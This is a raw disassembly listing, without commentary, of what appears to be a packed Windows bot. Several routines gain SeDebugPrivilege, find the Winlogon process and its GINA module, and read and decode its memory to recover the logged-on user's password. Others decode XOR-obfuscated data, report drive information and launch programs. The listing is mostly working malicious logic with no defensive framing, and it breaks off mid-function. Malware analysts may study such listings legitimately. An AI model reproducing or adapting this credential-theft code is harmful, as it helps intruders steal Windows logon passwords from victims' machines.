lea eax, [ebp-248h] push eax push offset unk_438330 jmp short loc_41693A ; --------------------------------------------------------------------------- loc_41692A: ; CODE XREF: ___:00416916j shr eax, 0Ah push eax lea eax, [ebp-248h] push eax push offset unk_438308 loc_41693A: ; CODE XREF: ___:00416928j mov eax, [ebp-48h] imul eax, 234h add eax, offset dword_43E710 push eax call sub_41C266 add esp, 10h cmp [ebp+8], esi ja loc_416881 loc_41695A: ; CODE XREF: ___:0041690Ej cmp [ebp-3Ch], esi mov dword ptr [ebp-14h], 1 jz short loc_4169AF cmp edi, [ebp-3Ch] jz short loc_4169AF push dword ptr [ebp-3Ch] lea eax, [ebp-510h] mov [ebp-14h], esi push edi push offset unk_4382DC push eax call sub_41C266 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409869 lea eax, [ebp-510h] push eax call sub_415D38 add esp, 28h loc_4169AF: ; CODE XREF: ___:00416964j ; ___:00416969j call near ptr 26A0891h nop sub eax, [ebp-4] xor edx, edx mov ecx, 3E8h push dword ptr [ebp-20h] div ecx xor edx, edx mov ecx, eax mov eax, edi inc ecx div ecx mov ebx, eax nop call near ptr 2670000h push dword ptr [ebp-1Ch] call sub_41BA91 cmp [ebp-38h], esi pop ecx jz short loc_416A39 lea eax, [ebp-148h] push eax call sub_4010AB cmp eax, [ebp-38h] pop ecx jz short loc_416A39 push dword ptr [ebp-38h] mov [ebp-14h], esi push eax lea eax, [ebp-510h] push offset unk_4382B4 push eax call sub_41C266 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409869 lea eax, [ebp-510h] push eax call sub_415D38 add esp, 28h loc_416A39: ; CODE XREF: ___:004169E1j ; ___:004169F3j cmp [ebp-14h], esi jz loc_416C79 cmp dword ptr [ebp-44h], 1 jz loc_416B34 mov [ebp-8], ebx mov [ebp-4], esi fild qword ptr [ebp-8] push ecx push ecx mov [ebp-8], edi mov [ebp-4], esi fmul dbl_427690 lea eax, [ebp-148h] fstp qword ptr [esp] fild qword ptr [ebp-8] push eax push ecx push ecx lea eax, [ebp-510h] ; DATA XREF: Themida_:005576CBo fmul dbl_427690 fstp qword ptr [esp] push offset unk_43827C push eax call sub_41C266 add esp, 1Ch cmp [ebp-30h], esi jnz short loc_416AB4 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409869 add esp, 14h loc_416AB4: ; CODE XREF: ___:00416A92j lea eax, [ebp-510h] push eax call sub_415D38 cmp dword ptr [ebp-40h], 1 pop ecx jnz loc_416C79 push 5 push esi lea eax, [ebp-148h] push esi push eax push offset aOpen ; "open" push esi call dword_4CB940 cmp [ebp-30h], esi jnz loc_416C79 lea eax, [ebp-148h] push eax lea eax, [ebp-510h] push offset dword_438260 push eax call sub_41C266 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409869 lea eax, [ebp-510h] push eax call sub_415D38 add esp, 24h jmp loc_416C79 ; --------------------------------------------------------------------------- loc_416B34: ; CODE XREF: ___:00416A46j mov [ebp-8], ebx mov [ebp-4], esi fild qword ptr [ebp-8] push ecx push ecx mov [ebp-8], edi mov [ebp-4], esi fmul dbl_427690 lea eax, [ebp-148h] fstp qword ptr [esp] fild qword ptr [ebp-8] push eax push ecx push ecx lea eax, [ebp-510h] fmul dbl_427690 fstp qword ptr [esp] push offset unk_43821C push eax call sub_41C266 add esp, 1Ch cmp [ebp-30h], esi jnz short loc_416B9C push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409869 add esp, 14h loc_416B9C: ; CODE XREF: ___:00416B7Aj lea eax, [ebp-510h] push eax call sub_415D38 push 10h lea eax, [ebp-10h] push esi push eax call sub_41BF70 push 44h lea eax, [ebp-310h] pop edi push edi push esi push eax call sub_41BF70 add esp, 1Ch mov [ebp-310h], edi lea eax, [ebp-10h] mov dword ptr [ebp-304h], offset byte_43DB88 push 1 mov [ebp-2E0h], si pop edi push eax lea eax, [ebp-310h] push eax push esi push esi push 28h push esi push esi lea eax, [ebp-148h] push esi push eax push esi mov [ebp-2E4h], edi call near ptr 2670347h nop cmp eax, edi jnz short loc_416C1E call dword_4CB92C call sub_4188A6 push esi nop call near ptr 77E75CB5h loc_416C1E: ; CODE XREF: ___:00416C0Aj lea eax, [ebp-148h] push eax push offset unk_4381E8 jmp short loc_416C38 ; --------------------------------------------------------------------------- loc_416C2C: ; CODE XREF: ___:004167E5j lea eax, [ebp-248h] push eax push offset unk_4381BC loc_416C38: ; CODE XREF: ___:00416C2Aj lea eax, [ebp-510h] push eax call sub_41C266 add esp, 0Ch cmp [ebp-30h], esi jnz short loc_416C6C push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409869 add esp, 14h loc_416C6C: ; CODE XREF: ___:00416C4Aj lea eax, [ebp-510h] push eax call sub_415D38 pop ecx loc_416C79: ; CODE XREF: ___:00416A3Cj ; ___:00416AC5j ... push dword ptr [ebp-18h] call dword_4CBA08 push dword ptr [ebp-48h] call sub_40B6D6 pop ecx push esi nop call near ptr 26F0000h ; =============== S U B R O U T I N E ======================================= sub_416C92 proc near ; CODE XREF: ___:004168BEp arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] xor ecx, ecx cmp [esp+arg_4], ecx jle short locret_416CAE loc_416C9E: ; CODE XREF: sub_416C92+1Aj mov dl, byte_429094 xor [ecx+eax], dl inc ecx cmp ecx, [esp+arg_4] jl short loc_416C9E locret_416CAE: ; CODE XREF: sub_416C92+Aj retn sub_416C92 endp ; =============== S U B R O U T I N E ======================================= sub_416CAF proc near ; CODE XREF: sub_401ACD+5761p ; sub_401ACD+5896p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_41DC5E pop ecx pop ecx xor ecx, ecx cmp eax, 0FFFFFFFFh setnz cl mov eax, ecx retn sub_416CAF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416CC9 proc near ; CODE XREF: sub_41036B+458p ; sub_41036B+5FDp ... var_38 = byte ptr -38h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 38h and [ebp+var_4], 0 push ebx push esi push edi push 32h mov edi, offset dword_4D35F8 push 0 push edi call sub_41BF70 mov ebx, [ebp+arg_0] add esp, 0Ch lea esi, [ebp+var_38] loc_416CEE: ; CODE XREF: sub_416CC9+5Bj ; sub_416CC9+61j push 0 push 0Ah push [ebp+arg_4] push ebx call sub_41DD20 push 0 push 0Ah push [ebp+arg_4] add al, 30h mov [esi], al inc esi push ebx call sub_41DCB0 mov ebx, eax or eax, edx mov [ebp+arg_4], edx jz short loc_416D2C inc [ebp+var_4] push 3 mov eax, [ebp+var_4] pop ecx cdq idiv ecx test edx, edx jnz short loc_416CEE mov byte ptr [esi], 2Ch inc esi jmp short loc_416CEE ; --------------------------------------------------------------------------- loc_416D2C: ; CODE XREF: sub_416CC9+4Bj dec esi mov eax, edi loc_416D2F: ; CODE XREF: sub_416CC9+73j lea ecx, [ebp+var_38] cmp esi, ecx jb short loc_416D3E mov cl, [esi] mov [eax], cl inc eax dec esi jmp short loc_416D2F ; --------------------------------------------------------------------------- loc_416D3E: ; CODE XREF: sub_416CC9+6Bj and byte ptr [eax], 0 mov eax, edi pop edi pop esi pop ebx leave retn sub_416CC9 endp ; =============== S U B R O U T I N E ======================================= sub_416D48 proc near ; CODE XREF: sub_416EFD+51p ; sub_416EFD+87p arg_0 = dword ptr 4 push [esp+arg_0] call dword_4CBA34 sub eax, 0 jz short loc_416D8B dec eax jz short loc_416D85 dec eax dec eax jz short loc_416D7F dec eax jz short loc_416D79 dec eax jz short loc_416D73 dec eax jz short loc_416D6D mov eax, offset word_4383AC retn ; --------------------------------------------------------------------------- loc_416D6D: ; CODE XREF: sub_416D48+1Dj mov eax, offset off_4383A8 retn ; --------------------------------------------------------------------------- loc_416D73: ; CODE XREF: sub_416D48+1Aj mov eax, offset aCdrom ; "Cdrom" retn ; --------------------------------------------------------------------------- loc_416D79: ; CODE XREF: sub_416D48+17j mov eax, offset aNetwork ; "Network" retn ; --------------------------------------------------------------------------- loc_416D7F: ; CODE XREF: sub_416D48+14j mov eax, offset aDisk ; "Disk" retn ; --------------------------------------------------------------------------- loc_416D85: ; CODE XREF: sub_416D48+10j mov eax, offset aInvalid ; "Invalid" retn ; --------------------------------------------------------------------------- loc_416D8B: ; CODE XREF: sub_416D48+Dj mov eax, offset aUnknown ; "Unknown" retn sub_416D48 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416D91 proc near ; CODE XREF: sub_416DD9+12p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 18h or eax, 0FFFFFFFFh mov [ebp+var_18], eax mov [ebp+var_14], eax mov [ebp+var_10], eax mov [ebp+var_C], eax mov [ebp+var_8], eax mov [ebp+var_4], eax mov eax, dword_4CB8C4 test eax, eax jz short loc_416DC6 lea ecx, [ebp+var_10] push ecx lea ecx, [ebp+var_8] push ecx lea ecx, [ebp+var_18] push ecx push [ebp+arg_4] call eax loc_416DC6: ; CODE XREF: sub_416D91+22j mov eax, [ebp+arg_0] push esi push edi push 6 pop ecx lea esi, [ebp+var_18] mov edi, eax rep movsd pop edi pop esi leave retn sub_416D91 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416DD9 proc near ; CODE XREF: sub_416EFD+17p ; sub_41AF8F+1F3p var_198 = byte ptr -198h var_118 = byte ptr -118h var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 198h push esi push edi push [ebp+arg_4] lea eax, [ebp+var_18] push eax call sub_416D91 pop ecx mov esi, eax pop ecx lea edi, [ebp+var_18] push 6 pop ecx rep movsd mov eax, [ebp+var_18] and eax, [ebp+var_14] cmp eax, 0FFFFFFFFh jz loc_416EB7 mov eax, [ebp+var_10] and eax, [ebp+var_C] cmp eax, 0FFFFFFFFh jz loc_416EB7 mov eax, [ebp+var_8] and eax, [ebp+var_4] cmp eax, 0FFFFFFFFh jz loc_416EB7 push ebx mov ebx, 400h push 0 push ebx push [ebp+var_14] push [ebp+var_18] call sub_41DDA0 push edx push eax call sub_416CC9 pop ecx mov edi, offset aSkb ; "%sKB" pop ecx mov esi, 80h push eax push edi lea eax, [ebp+var_198] push esi push eax call sub_41C360 add esp, 10h push 0 push ebx push [ebp+var_C] push [ebp+var_10] call sub_41DDA0 push edx push eax call sub_416CC9 pop ecx pop ecx push eax push edi lea eax, [ebp+var_118] push esi push eax call sub_41C360 add esp, 10h push 0 push ebx push [ebp+var_4] push [ebp+var_8] call sub_41DDA0 push edx push eax call sub_416CC9 pop ecx pop ecx push eax push edi lea eax, [ebp+var_98] push esi push eax call sub_41C360 add esp, 10h pop ebx jmp short loc_416EE9 ; --------------------------------------------------------------------------- loc_416EB7: ; CODE XREF: sub_416DD9+2Cj ; sub_416DD9+3Bj ... mov esi, offset aFailed ; "failed" lea eax, [ebp+var_198] push esi push eax call sub_41C266 pop ecx lea eax, [ebp+var_118] pop ecx push esi push eax call sub_41C266 pop ecx lea eax, [ebp+var_98] pop ecx push esi push eax call sub_41C266 pop ecx pop ecx loc_416EE9: ; CODE XREF: sub_416DD9+DCj mov eax, [ebp+arg_0] push 60h pop ecx lea esi, [ebp+var_198] mov edi, eax rep movsd pop edi pop esi leave retn sub_416DD9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416EFD proc near ; CODE XREF: sub_416FCF+17p ; sub_416FCF+60p var_500 = byte ptr -500h var_300 = byte ptr -300h var_180 = byte ptr -180h var_100 = byte ptr -100h var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 500h push ebx mov ebx, [ebp+arg_C] push esi push edi lea eax, [ebp+var_300] push ebx push eax call sub_416DD9 push 60h mov esi, eax pop ecx lea edi, [ebp+var_300] rep movsd push 60h lea esi, [ebp+var_300] pop ecx lea edi, [ebp+var_180] lea eax, [ebp+var_80] push offset aFailed ; "failed" rep movsd push eax call sub_41CA50 add esp, 10h test eax, eax jnz short loc_416F70 push ebx push ebx call sub_416D48 pop ecx push eax push offset unk_4383FC lea eax, [ebp+var_500] push 200h push eax call sub_41C360 add esp, 14h jmp short loc_416FA4 ; --------------------------------------------------------------------------- loc_416F70: ; CODE XREF: sub_416EFD+4Dj lea eax, [ebp+var_180] push eax lea eax, [ebp+var_100] push eax lea eax, [ebp+var_80] push eax push ebx push ebx call sub_416D48 pop ecx push eax push offset unk_4383C0 lea eax, [ebp+var_500] push 200h push eax call sub_41C360 add esp, 20h loc_416FA4: ; CODE XREF: sub_416EFD+71j push 1 lea eax, [ebp+var_500] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 lea eax, [ebp+var_500] push eax call sub_415D38 add esp, 18h pop edi pop esi pop ebx leave retn sub_416EFD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416FCF proc near ; CODE XREF: sub_401ACD+252Ep arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx xor ebx, ebx cmp [ebp+arg_C], ebx jz short loc_416FF0 push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_416EFD add esp, 10h jmp short loc_417051 ; --------------------------------------------------------------------------- loc_416FF0: ; CODE XREF: sub_416FCF+9j push esi push edi push ebx push ebx call dword_4CB93C lea esi, [eax+2] push esi call sub_41BEB5 pop ecx mov edi, eax push edi push esi call dword_4CB93C cmp [edi], bl mov esi, edi jz short loc_417048 loc_417014: ; CODE XREF: sub_416FCF+77j push offset off_438438 push esi call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_417037 push esi push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_416EFD add esp, 10h loc_417037: ; CODE XREF: sub_416FCF+54j push esi call sub_41B9C0 cmp [esi+eax+1], bl lea esi, [esi+eax+1] pop ecx jnz short loc_417014 loc_417048: ; CODE XREF: sub_416FCF+43j push edi call sub_41BA91 pop ecx pop edi pop esi loc_417051: ; CODE XREF: sub_416FCF+1Fj pop ebx pop ebp retn sub_416FCF endp ; --------------------------------------------------------------------------- dword_417054 dd 81EC8B55h, 49CECh, 8458B00h, 0B9575653h, 0A7h, 0BD8DF08Bh ; DATA XREF: sub_401ACD+67C1o dd 0FFFFFD64h, 80C7A5F3h, 298h, 1, 0FEEC858Dh, 0E850FFFFh dd 4938h, 0BC80DB33h, 0FFFEEB05h, 75595CFFh, 0EC858D14h dd 50FFFFFEh, 491FE8h, 9C885900h, 0FFFEEB05h, 0E8858DFFh dd 50FFFFFDh, 43845C68h, 64858D00h, 68FFFFFBh, 200h, 529AE850h dd 0C4830000h, 0F85D3910h, 8D532075h, 0FFFB6485h, 0F475FFFFh dd 68858D50h, 50FFFFFDh, 0FD64B5FFh, 7EE8FFFFh, 83FFFF27h dd 858D14C4h, 0FFFFFEECh, 858D5053h, 0FFFFFDE8h, 68858D50h dd 0FFFFFFFDh, 0FF50F475h, 0FFFD64B5h, 5DE8FFh, 0C4830000h dd 858D5018h, 0FFFFFB64h, 43843C68h, 3FE85000h, 83000051h dd 5D390CC4h, 532075F8h, 0FB64858Dh, 75FFFFFFh, 858D50F4h dd 0FFFFFD68h, 64B5FF50h, 0E8FFFFFDh, 0FFFF271Dh, 8D14C483h dd 0FFFB6485h, 0DDE850FFh, 0FFFFFFEBh, 73E8F075h, 59FFFF45h dd 0E8905359h, 22D8E94h, 555B5E5Fh, 0EC81EC8Bh, 54Ch, 0BE575653h dd 104h, 8D1875FFh, 0FFFDB885h, 84A068FFh, 50560043h, 51CBE8h dd 243D8B00h, 83004271h, 858D10C4h, 0FFFFFEBCh, 0B8858D50h dd 50FFFFFDh, 0F883D7FFh, 0FC4589FFh, 429AC0BBh, 0F6717400h dd 0FFFEBC85h, 547410FFh, 0FEE8BD80h, 752EFFFFh, 0E9BD8012h dd 0FFFFFEh, 0BD804274h, 0FFFFFEE9h, 8D39742Eh, 0FFFEE885h dd 858D50FFh, 0FFFFFCB4h, 531875FFh, 69E85056h, 0FF000051h dd 858D1C75h, 0FFFFFCB4h, 1475FF50h, 0FF1075FFh, 75FF0C75h dd 0FF5DE808h, 0C483FFFFh, 1C45892Ch, 0FEBC858Dh, 0FF50FFFFh dd 0E890FC75h, 2368DD8h, 8F75C085h, 0E8FC75FFh, 21C8DCCh dd 1475FF90h, 0FDB8858Dh, 75FFFFFFh, 50565318h, 5117E8h dd 14C48300h, 0FEBC858Dh, 8D50FFFFh, 0FFFDB885h, 0D7FF50FFh dd 0FE83F08Bh, 8D4F74FFh, 0FFFEE885h, 1C45FFFFh, 0B4858D50h dd 0FFFFFFFAh, 84681875h, 68004384h, 200h, 50DAE850h, 16A0000h dd 0FAB4858Dh, 75FFFFFFh, 75FF5010h, 875FF0Ch, 0FF25CCE8h dd 28C483FFh, 0FEBC858Dh, 5650FFFFh, 368D53E8h, 0C0859002h dd 9056B175h, 1C8D47E8h, 1C458B02h, 0C95B5E5Fh ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4172C1 proc near ; DATA XREF: sub_401ACD+1C72o var_29C = byte ptr -29Ch var_9C = dword ptr -9Ch var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 29Ch mov eax, [ebp+arg_0] push esi push edi push 25h pop ecx mov esi, eax lea edi, [ebp+var_9C] push 1 rep movsd pop esi mov [eax+90h], esi call sub_41AE41 cmp eax, esi mov [ebp+var_4], eax jz short loc_417300 cmp eax, 2 jz short loc_417300 push offset unk_438678 jmp loc_41743F ; --------------------------------------------------------------------------- loc_417300: ; CODE XREF: sub_4172C1+2Ej ; sub_4172C1+33j push esi push offset aSedebugprivile ; "SeDebugPrivilege" call sub_419B9E pop ecx test eax, eax pop ecx jz loc_41743A push ebx push offset aNtdll_dll ; "NTDLL.DLL" call near ptr 26C0000h nop mov esi, dword_4270C4 mov edi, eax push offset aNtquerysystemi ; "NtQuerySystemInformation" push edi mov [ebp+var_8], edi call esi push offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer" push edi mov dword_4D483C, eax call esi push offset aRtlqueryproces ; "RtlQueryProcessDebugInformation" push edi mov dword_4D4830, eax call esi push offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer" push edi mov dword_4D4A40, eax call esi push offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString" push edi mov dword_4D4838, eax call esi mov dword_4D4834, eax call sub_417493 test eax, eax mov [ebp+arg_0], eax jz loc_41740D mov esi, dword_427148 mov edi, 400h mov ebx, offset dword_4D3830 push edi push ebx push offset off_4385B4 call esi push edi mov edi, offset dword_4D4030 push edi push offset off_43859C call esi cmp [ebp+var_4], 1 push offset dword_4D4A48 push [ebp+arg_0] jnz short loc_4173B9 call sub_41761C jmp short loc_4173BE ; --------------------------------------------------------------------------- loc_4173B9: ; CODE XREF: sub_4172C1+EFj call sub_4177C3 loc_4173BE: ; CODE XREF: sub_4172C1+F6j pop ecx test eax, eax pop ecx jz short loc_417406 cmp dword_4D4A48, 0 jnz short loc_4173ED push ebx push edi push [ebp+arg_0] lea eax, [ebp+var_29C] push offset unk_438540 push 200h push eax call sub_41C360 add esp, 18h jmp short loc_417420 ; --------------------------------------------------------------------------- loc_4173ED: ; CODE XREF: sub_4172C1+10Aj cmp [ebp+var_4], 1 push [ebp+arg_0] jnz short loc_4173FD call sub_4178F9 jmp short loc_417402 ; --------------------------------------------------------------------------- loc_4173FD: ; CODE XREF: sub_4172C1+133j call sub_417990 loc_417402: ; CODE XREF: sub_4172C1+13Aj pop ecx push eax jmp short loc_417412 ; --------------------------------------------------------------------------- loc_417406: ; CODE XREF: sub_4172C1+101j push offset unk_438508 jmp short loc_417412 ; --------------------------------------------------------------------------- loc_41740D: ; CODE XREF: sub_4172C1+B6j push offset unk_4384DC loc_417412: ; CODE XREF: sub_4172C1+143j ; sub_4172C1+14Aj lea eax, [ebp+var_29C] push eax call sub_41C266 pop ecx pop ecx loc_417420: ; CODE XREF: sub_4172C1+12Aj push 0 push offset aSedebugprivile ; "SeDebugPrivilege" call sub_419B9E pop ecx pop ecx push [ebp+var_8] nop call near ptr 27B0889h pop ebx jmp short loc_41744D ; --------------------------------------------------------------------------- loc_41743A: ; CODE XREF: sub_4172C1+4Ej push offset unk_4384A8 loc_41743F: ; CODE XREF: sub_4172C1+3Aj lea eax, [ebp+var_29C] push eax call sub_41C266 pop ecx pop ecx loc_41744D: ; CODE XREF: sub_4172C1+177j xor esi, esi cmp [ebp+var_10], esi jnz short loc_417474 push esi lea eax, [ebp+var_29C] push [ebp+var_14] push eax lea eax, [ebp+var_98] push eax push [ebp+var_9C] call sub_409869 add esp, 14h loc_417474: ; CODE XREF: sub_4172C1+191j lea eax, [ebp+var_29C] push eax call sub_415D38 push [ebp+var_18] call sub_40B6D6 pop ecx pop ecx push esi nop call near ptr 26F0000h pop edi pop esi sub_4172C1 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_417493 proc near ; CODE XREF: sub_4172C1+ACp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 sub esp, 18h and [esp+18h+var_4], 0 and [esp+18h+var_14], 0 push ebx push ebp push esi mov esi, dword_427154 mov ebx, 100h push edi push ebx push 8 call esi mov edi, dword_427150 push eax call edi mov ebp, eax lea eax, [esp+28h+var_14] push eax push ebx push ebp push 10h call dword_4D483C push ebp push 0 call esi push eax nop call near ptr 27C0691h push [esp+28h+var_14] push 8 call esi push eax call edi mov ebp, eax mov eax, [esp+28h+var_14] lea ecx, [esp+28h+var_C] mov [esp+28h+var_C], eax push ecx push eax push ebp push 10h call dword_4D483C test eax, eax jnz short loc_417580 mov eax, [esp+28h+var_C] shr eax, 4 mov [esp+28h+var_10], eax jz short loc_417580 push 1 mov ebx, ebp pop ecx cmp eax, ecx mov [esp+28h+var_18], ecx jb short loc_417580 loc_41751C: ; CODE XREF: sub_417493+EBj cmp word ptr [ebx+8], 5 jnz short loc_417573 push 0 push 0 call dword_4D4830 mov edi, eax push edi push 1 push dword ptr [ebx+4] call dword_4D4A40 test eax, eax jnz short loc_417564 mov eax, [edi+60h] push offset aWinlogon ; "WINLOGON" mov [esp+2Ch+var_8], eax lea eax, [edi+80h] push eax call sub_41DE4A pop ecx push eax call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_417598 loc_417564: ; CODE XREF: sub_417493+AAj test edi, edi jz short loc_41756F push edi call dword_4D4838 loc_41756F: ; CODE XREF: sub_417493+D3j mov eax, [esp+28h+var_10] loc_417573: ; CODE XREF: sub_417493+8Ej add ebx, 10h inc [esp+28h+var_18] cmp [esp+28h+var_18], eax jbe short loc_41751C loc_417580: ; CODE XREF: sub_417493+6Dj ; sub_417493+7Aj ... xor edi, edi loc_417582: ; CODE XREF: sub_417493+17Dj push ebp push 0 call esi push eax nop call near ptr 27C0691h mov eax, edi loc_417590: ; CODE XREF: sub_417493+184j pop edi pop esi pop ebp pop ebx add esp, 18h retn ; --------------------------------------------------------------------------- loc_417598: ; CODE XREF: sub_417493+CFj and [esp+28h+var_10], 0 cmp [esp+28h+var_8], 0 jbe short loc_417601 lea eax, [edi+80h] mov [esp+28h+var_18], eax loc_4175AE: ; CODE XREF: sub_417493+16Cj add [esp+28h+var_18], 11Ch push offset aNwgina ; "NWGINA" push [esp+2Ch+var_18] call sub_41DE4A pop ecx push eax call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_417615 push offset aMsgina ; "MSGINA" push [esp+2Ch+var_18] call sub_41DE4A pop ecx push eax call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_4175F3 mov eax, [ebx+4] mov [esp+28h+var_4], eax loc_4175F3: ; CODE XREF: sub_417493+157j inc [esp+28h+var_10] mov eax, [esp+28h+var_10] cmp eax, [esp+28h+var_8] jb short loc_4175AE loc_417601: ; CODE XREF: sub_417493+10Fj test edi, edi jz short loc_41760C push edi call dword_4D4838 loc_41760C: ; CODE XREF: sub_417493+170j mov edi, [esp+28h+var_4] jmp loc_417582 ; --------------------------------------------------------------------------- loc_417615: ; CODE XREF: sub_417493+13Cj xor eax, eax jmp loc_417590 sub_417493 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41761C proc near ; CODE XREF: sub_4172C1+F1p var_64 = byte ptr -64h var_60 = dword ptr -60h var_40 = byte ptr -40h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2B = byte ptr -2Bh var_24 = byte ptr -24h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 64h push esi xor esi, esi push [ebp+arg_0] mov [ebp+var_10], esi push esi push 410h nop call near ptr 2690328h cmp eax, esi mov [ebp+var_4], eax jnz short loc_417645 xor eax, eax jmp loc_4177C0 ; --------------------------------------------------------------------------- loc_417645: ; CODE XREF: sub_41761C+20j mov eax, [ebp+arg_4] push ebx push edi mov [eax], esi lea eax, [ebp+var_64] push eax nop call near ptr 27E01C0h push [ebp+var_60] mov [ebp+var_8], esi mov esi, dword_427154 push 8 call esi mov edi, dword_427150 push eax call edi lea ecx, [ebp+var_8] mov ebx, dword_42715C push ecx mov [ebp+arg_0], eax push [ebp+var_60] push eax push 7FFDF000h push [ebp+var_4] call ebx test eax, eax jnz short loc_417695 xor esi, esi jmp loc_4177B3 ; --------------------------------------------------------------------------- loc_417695: ; CODE XREF: sub_41761C+70j lea eax, [ebp+var_40] push 1Ch push eax mov eax, [ebp+arg_0] push dword ptr [eax+18h] push [ebp+var_4] nop call near ptr 27D0CEAh test eax, eax jz loc_4177A2 mov ecx, [ebp+var_30] mov eax, 1000h and ecx, eax cmp ecx, eax jnz loc_4177A2 test [ebp+var_2B], 1 jnz loc_4177A2 push [ebp+var_34] push 8 call esi push eax call edi mov edi, eax lea eax, [ebp+var_8] push eax mov eax, [ebp+arg_0] push [ebp+var_34] mov [ebp+var_C], edi push edi push dword ptr [eax+18h] push [ebp+var_4] call ebx test eax, eax jz loc_4177A2 loc_4176F8: ; CODE XREF: sub_41761C+112j push edi push offset dword_4D3830 call sub_4263E5 pop ecx test eax, eax pop ecx jnz short loc_417720 lea eax, [edi+200h] push eax push offset dword_4D4030 call sub_4263E5 pop ecx test eax, eax pop ecx jz short loc_417730 loc_417720: ; CODE XREF: sub_41761C+EBj mov eax, [ebp+var_34] mov ecx, [ebp+var_C] inc edi add eax, ecx inc edi cmp edi, eax jnb short loc_4177A2 jmp short loc_4176F8 ; --------------------------------------------------------------------------- loc_417730: ; CODE XREF: sub_41761C+102j test edi, edi jz short loc_4177A2 lea eax, [ebp+var_14] push eax lea eax, [edi+410h] push eax nop call near ptr 2770622h test eax, eax jz short loc_41776B lea eax, [ebp+var_24] push eax lea eax, [ebp+var_14] push eax nop call near ptr 2770000h test eax, eax jz short loc_41776B mov al, [edi+42Ch] mov ecx, [ebp+arg_4] shr eax, 1 and eax, 7Fh mov [ecx], eax loc_41776B: ; CODE XREF: sub_41761C+12Bj ; sub_41761C+13Dj movzx eax, word ptr [edi+42Ch] shr eax, 8 mov dword_4D4A54, eax mov eax, [ebp+arg_0] mov [ebp+var_10], 1 mov eax, [eax+18h] sub eax, [ebp+var_C] lea eax, [eax+edi+434h] add edi, 434h mov dword_4D4A4C, eax mov dword_4D4A50, edi loc_4177A2: ; CODE XREF: sub_41761C+90j ; sub_41761C+A2j ... push [ebp+arg_0] push 0 call esi push eax nop call near ptr 27C0691h mov esi, [ebp+var_10] loc_4177B3: ; CODE XREF: sub_41761C+74j push [ebp+var_4] call near ptr 2670000h nop pop edi mov eax, esi pop ebx loc_4177C0: ; CODE XREF: sub_41761C+24j pop esi leave retn sub_41761C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4177C3 proc near ; CODE XREF: sub_4172C1:loc_4173B9p var_4C = byte ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_28 = byte ptr -28h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_13 = byte ptr -13h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 4Ch push ebx push esi push edi push [ebp+arg_0] push 0 push 